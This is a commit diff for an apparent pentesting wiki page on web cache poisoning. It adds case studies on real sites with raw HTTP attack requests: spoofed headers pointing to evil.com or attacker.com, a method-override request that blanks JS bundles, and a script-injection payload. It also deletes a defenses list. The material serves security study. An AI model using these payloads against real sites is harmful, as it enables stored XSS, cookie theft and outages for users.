You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
@@ -61,6 +61,108 @@ One more header related to the cache is **`Age`**. It defines the times in secon
61
61
62
62
When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working.
63
63
64
+
### Foundational cache poisoning case studies
65
+
66
+
#### HackerOne global redirect via `X-Forwarded-Host`
67
+
68
+
- The origin templated redirects and canonical URLs with `X-Forwarded-Host`, but the cache key only used the `Host` header, so a single response poisoned every visitor to `/`.
69
+
- Poison with:
70
+
71
+
```http
72
+
GET / HTTP/1.1
73
+
Host: hackerone.com
74
+
X-Forwarded-Host: evil.com
75
+
```
76
+
77
+
- Immediately re-request `/` without the spoofed header; if the redirect persists you have a global host-spoofing primitive that often upgrades reflected redirects/Open Graph links into stored issues.
78
+
79
+
#### GitHub repository DoS via `Content-Type` + `PURGE`
80
+
81
+
- Anonymous traffic was keyed only on path, while the backend entered an error state when it saw an unexpected `Content-Type`. That error response was cacheable for every unauthenticated user of a repo.
82
+
- GitHub also (accidentally) honored the `PURGE` verb, letting the attacker flush a healthy entry and force caches to pull the poisoned variant on demand:
- Always compare authenticated vs anonymous cache keys, fuzz rarely keyed headers such as `Content-Type`, and probe for exposed cache-maintenance verbs to automate re-poisoning.
90
+
91
+
#### Shopify cross-host persistence loops
92
+
93
+
- Multi-layer caches sometimes require multiple identical hits before committing a new object. Shopify reused the same cache across numerous localized hosts, so persistence meant impact on many properties.
94
+
- Use short automation loops to repeatedly reseed:
- After a `hit` response, crawl other hosts/assets that share the same cache namespace to demonstrate cross-domain blast radius.
106
+
107
+
#### JS asset redirect → stored XSS chain
108
+
109
+
- Private programs often host shared JS such as `/assets/main.js` across dozens of subdomains. If `X-Forwarded-Host` influences redirect logic for those assets but is unkeyed, the cached response becomes a 301 to attacker JS, yielding stored XSS everywhere the asset is imported.
110
+
111
+
```http
112
+
GET /assets/main.js HTTP/1.1
113
+
Host: target.com
114
+
X-Forwarded-Host: attacker.com
115
+
```
116
+
117
+
- Map which hosts reuse the same asset path so you can prove multi-subdomain compromise.
118
+
119
+
#### GitLab static DoS via `X-HTTP-Method-Override`
120
+
121
+
- GitLab served static bundles from Google Cloud Storage, which honors `X-HTTP-Method-Override`. Overriding GET to HEAD returned a cacheable `200 OK` with `Content-Length: 0`, and the edge cache ignored the HTTP method when generating the key.
122
+
123
+
```http
124
+
GET /static/app.js HTTP/1.1
125
+
Host: gitlab.com
126
+
X-HTTP-Method-Override: HEAD
127
+
```
128
+
129
+
- A single request replaced the JS bundle with an empty body for every GET, effectively DoSing the UI. Always test method overrides (`X-HTTP-Method-Override`, `X-Method-Override`, etc.) against static assets and confirm whether the cache varies on method.
130
+
131
+
#### HackerOne static asset loop via `X-Forwarded-Scheme`
132
+
133
+
- Rails’ Rack middleware trusted `X-Forwarded-Scheme` to decide whether to enforce HTTPS. Spoofing `http` against `/static/logo.png` triggered a cacheable 301 so all users subsequently received redirects (or loops) instead of the asset:
134
+
135
+
```http
136
+
GET /static/logo.png HTTP/1.1
137
+
Host: hackerone.com
138
+
X-Forwarded-Scheme: http
139
+
```
140
+
141
+
- Combine scheme spoofing with host spoofing when possible to craft irreversible redirects for highly visible resources.
142
+
143
+
#### Cloudflare host-header casing mismatch
144
+
145
+
- Cloudflare normalized the `Host` header for cache keys but forwarded the raw casing to origins. Sending `Host: TaRgEt.CoM` triggered alternate behavior in origin routing/templating while still populating the canonical lowercase cache bucket.
146
+
147
+
```http
148
+
GET / HTTP/1.1
149
+
Host: TaRgEt.CoM
150
+
```
151
+
152
+
- Enumerate CDN tenants by replaying mixed-case hosts (and other normalized headers) and diff the cached response versus the origin response to uncover shared-platform cache poisonings.
153
+
154
+
#### Red Hat Open Graph meta poisoning
155
+
156
+
- Injecting `X-Forwarded-Host` inside Open Graph tags turned a reflected HTML injection into a stored XSS once the CDN cached the page. Use a harmless cache buster during testing to avoid harming production users:
157
+
158
+
```http
159
+
GET /en?dontpoisoneveryone=1 HTTP/1.1
160
+
Host: www.redhat.com
161
+
X-Forwarded-Host: a."?><script>alert(1)</script>
162
+
```
163
+
164
+
- Social media scrapers consume cached Open Graph tags, so a single poisoned entry distributes the payload far beyond direct visitors.
165
+
64
166
## Exploiting Examples
65
167
66
168
### Easiest example
@@ -194,7 +296,7 @@ Practical recipe (observed across a popular CDN/WAF):
194
296
195
297
Example header payload (to exfiltrate non-HttpOnly cookies):
- If session cookies aren’t `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML.
210
312
211
-
Defenses:
212
-
213
-
- Stop reflecting request headers into HTML; strictly context-encode if unavoidable. Align CDN and origin cache policies and avoid varying on untrusted headers.
214
-
- Ensure WAF applies content inspection consistently to `.js` requests and static paths.
215
-
- Set `HttpOnly` (and `Secure`, `SameSite`) on session cookies.
216
313
217
314
### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
218
315
219
316
A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
220
317
221
-
```
318
+
```http
222
319
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
223
320
Content-Type: application/x-www-form-urlencoded
224
321
@@ -239,18 +336,6 @@ For full details (cache key construction, ItemService enumeration and a chained
239
336
240
337
ATS forwarded the fragment inside the URL without stripping it and generated the cache key only using the host, path and query (ignoring the fragment). So the request `/#/../?r=javascript:alert(1)` was sent to the backend as `/#/../?r=javascript:alert(1)` and the cache key didn't have the payload inside of it, only host, path and query.
241
338
242
-
### GitHub CP-DoS
243
-
244
-
Sending a bad value in the content-type header triggered a 405 cached response. The cache key contained the cookie so it was possible only to attack unauth users.
245
-
246
-
### GitLab + GCP CP-DoS
247
-
248
-
GitLab uses GCP buckets to store static content. **GCP Buckets** support the **header `x-http-method-override`**. So it was possible to send the header `x-http-method-override: HEAD` and poison the cache into returning an empty response body. It could also support the method `PURGE`.
249
-
250
-
### Rack Middleware (Ruby on Rails)
251
-
252
-
In Ruby on Rails applications, Rack middleware is often utilized. The purpose of the Rack code is to take the value of the **`x-forwarded-scheme`** header and set it as the request's scheme. When the header `x-forwarded-scheme: http` is sent, a 301 redirect to the same location occurs, potentially causing a Denial of Service (DoS) to that resource. Additionally, the application might acknowledge the `X-forwarded-host` header and redirect users to the specified host. This behavior can lead to the loading of JavaScript files from an attacker's server, posing a security risk.
253
-
254
339
### 403 and Storage Buckets
255
340
256
341
Cloudflare previously cached 403 responses. Attempting to access S3 or Azure Storage Blobs with incorrect Authorization headers would result in a 403 response that got cached. Although Cloudflare has stopped caching 403 responses, this behavior might still be present in other proxy services.
@@ -376,7 +461,6 @@ Validation checklist
376
461
- Confirm the authenticated header is present on the retargeted request (e.g., in a proxy or via server-side logs) and that the CDN caches the response under the traversed path.
377
462
- From a fresh context (no auth), request the same path and confirm the secret JSON is served from cache.
378
463
379
-
380
464
## Automatic Tools
381
465
382
466
-[**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
@@ -396,6 +480,7 @@ Validation checklist
396
480
-[CSPT overview by Matan Berson](https://matanber.com/blog/cspt-levels/)
397
481
-[CSPT presentation by Maxence Schmitt](https://www.youtube.com/watch?v=O1ZN_OCfNzg)
398
482
-[PortSwigger: Web Cache Deception](https://portswigger.net/web-security/web-cache-deception)
483
+
-[Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class](https://herish.me/blog/cache-poisoning-case-studies-part-1-foundational-attacks/)
0 commit comments